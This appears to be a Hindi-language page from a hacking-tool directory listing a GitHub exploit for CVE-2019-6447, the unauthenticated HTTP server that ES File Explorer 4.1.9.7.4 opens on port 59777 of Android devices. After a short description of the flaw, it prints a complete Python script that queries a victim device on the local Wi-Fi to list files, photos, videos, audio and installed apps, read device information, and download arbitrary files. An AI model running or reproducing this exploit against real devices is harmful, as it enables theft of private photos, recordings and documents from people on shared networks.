Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/chethine/esfileexplorer-cve-2019-6447
एंड्रॉइड सुरक्षाभेद्यता विश्लेषणशोषणडेटा निष्कासनजानकारी एकत्र करनामोबाइल सुरक्षा
GitHubchethine/esfileexplorer-cve-2019-6447

EsFileExplorer-CVE-2019-6447

ES File Explorer में Android भेद्यता का शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
31364 साल पहलेअभी तक समीक्षित नहीं

EsFileExplorer-CVE-2019-6447

ES फ़ाइल एक्सप्लोरर में Android कमजोरी का शोषण

कमजोरी

ES फ़ाइल एक्सप्लोरर ES वर्ल्डवाइड द्वारा बनाया गया था, जो DO ग्लोबल का हिस्सा है और चीन में स्थित है। यह ES फ़ाइल एक्सप्लोरर केवल Android ऑपरेटिंग सिस्टम चलाने वाले मोबाइल उपकरणों पर उपयोग के लिए उपलब्ध है। इस समय, ES फ़ाइल एक्सप्लोरर को कुल 100 मिलियन से अधिक बार डाउनलोड किया जा चुका है। यह एप्लिकेशन Android का प्रसिद्ध फ़ाइल एक्सप्लोरर है, इसलिए इसे बहुत ध्यान मिलता है। दूसरी ओर, 2019 में, साइबर सुरक्षा में विशेषज्ञता रखने वाले शोधकर्ताओं ने ES फ़ाइल एक्सप्लोरर 4.1.9.7.4 संस्करण में एक कमजोरी की खोज की। जो हमलावर उस कमजोरी का शोषण करने में सक्षम हैं, वे ES फ़ाइल एक्सप्लोरर में सहेजे गए सभी संवेदनशील उपयोगकर्ता डेटा को एकत्र करने की स्थिति में हैं। इसमें तस्वीरें, वीडियो, वॉइस रिकॉर्डिंग, दस्तावेज़ और अन्य डेटा प्रकार शामिल हैं।

कमजोरी का विवरण

4.1.9.7.4 संस्करण के माध्यम से, Android के लिए ES फ़ाइल एक्सप्लोरर फ़ाइल मैनेजर एप्लिकेशन दूरस्थ हमलावरों को TCP पोर्ट 59777 पर क्वेरी करके स्थानीय वाई-फाई नेटवर्क पर मनमानी फ़ाइलें पढ़ने या ऐप्स चलाने में सक्षम बनाता है। ES एप्लिकेशन के एक बार लॉन्च होने के बाद, यह TCP पोर्ट खुला रहेगा और HTTP पर भेजे गए अप्रमाणित application/json डेटा का जवाब देगा।

प्रभावित संस्करण

4.1.9.7.4 संस्करण

हर बार जब उपयोगकर्ता ऐप लॉन्च करता है, एक HTTP सर्वर शुरू होता है। यह सर्वर स्थानीय रूप से पोर्ट 59777 खोलता है:
root@kitploit:~
angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

प्रूफ ऑफ कॉन्सेप्ट (POC) विशेषताएँ

  • पीड़ित डिवाइस के sdcard में सभी फ़ाइलों की सूची बनाएं
  • पीड़ित डिवाइस में सभी तस्वीरों की सूची बनाएं
  • पीड़ित डिवाइस में सभी वीडियो की सूची बनाएं
  • पीड़ित डिवाइस में सभी ऑडियो फ़ाइलों की सूची बनाएं
  • पीड़ित डिवाइस में स्थापित सभी ऐप्स की सूची बनाएं
  • पीड़ित डिवाइस में स्थापित सभी सिस्टम ऐप्स की सूची बनाएं
  • पीड़ित डिवाइस में स्थापित सभी फ़ोन ऐप्स की सूची बनाएं
  • पीड़ित डिवाइस के sdcard में संग्रहीत सभी apk फ़ाइलों की सूची बनाएं
  • पीड़ित डिवाइस में स्थापित सभी ऐप्स की सूची बनाएं
  • पीड़ित डिवाइस की डिवाइस जानकारी प्राप्त करें
  • पीड़ित डिवाइस से एक फ़ाइल खींचें
  • अपनी पसंद का एक ऐप लॉन्च करें
  • अपनी पसंद के ऐप का आइकन प्राप्त करें

पेलोड

root@kitploit:~
import requests
import json
import ast
import sys

if len(sys.argv) < 3:
    print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
    sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
    print("[-] WRONG COMMAND!")
    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")
    sys.exit(1)

print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")

header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):
    data = json.dumps({"command":cmd})
    response = requests.post(url, headers=header, data=data)
    return ast.literal_eval(response.text)

def parse(text, keys):
    for dic in text:
        for key in keys:
            print(f"{key} : {dic[key]}")
        print('')

def do_listing(cmd):
    response = httpPost(cmd)
    if len(response) == 0:
        keys = []
    else:
        keys = list(response[0].keys())
    parse(response, keys)

if cmd in listCmds:
    do_listing(cmd)

elif cmd == cmds[9]:
    if len(sys.argv) != 4:
        print("[+] Include file name to download.")
        sys.exit(1)
    elif sys.argv[3][0] != '/':
        print("[-] You need to provide full path of the file.")
        sys.exit(1)
    else:
        path = sys.argv[3]
        print("[+] Downloading file...")
        response = requests.get(url + path)
        with open('out.dat','wb') as wf:
            wf.write(response.content)
        print("[+] Done. Saved as `out.dat`.")

elif cmd == cmds[10]:
    response = httpPost(cmd)
    keys = list(response.keys())
    for key in keys:
        print(f"{key} : {response[key]}")

प्रदर्शन

Demo

मुझसे संपर्क करें

मुझे Twitter पर फॉलो करें!
मुझसे LinkedIn पर जुड़ें!
टूल डाउनलोड करें